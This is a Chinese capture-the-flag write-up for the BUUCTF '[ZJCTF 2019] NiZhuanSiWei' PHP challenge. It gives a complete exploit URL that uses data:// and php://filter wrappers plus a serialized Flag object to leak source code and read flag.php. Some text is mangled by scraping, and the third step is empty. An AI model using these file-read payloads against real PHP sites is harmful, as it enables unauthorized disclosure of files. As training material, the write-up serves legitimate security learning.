【BUUCTF-Web】[ZJCTF 2019]NiZhuanSiWei

301 阅读1分钟

Subject

逆转思维 PHP伪协议 PHP反序列化


Mind Palace

访问url获得代码:

preg_match ( string pattern,stringpattern , string subject , array &matches=?,intmatches = ? , int flags = 0 , int $offset = 0 ) : int => 执行匹配正则表达式

Payload:

url/index.php
?text=text= data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
					  data://text/plain,welcome to the zjctf
&file=			php://filter/read=convert.base64-encode/resource=useless.php => useless.php
&password=  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

第一个绕过:用data伪协议写入文件

第二个绕过:用php://filter读取base64编码后的源码 + base64解码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

第三个绕过(反序列化):


Look Ahead

PHP学的不够扎实;

PHP伪协议总结: segmentfault.com/a/119000001…


References:

www.cnblogs.com/wangtanzhi/…

segmentfault.com/a/119000001…


END (゚▽゚)/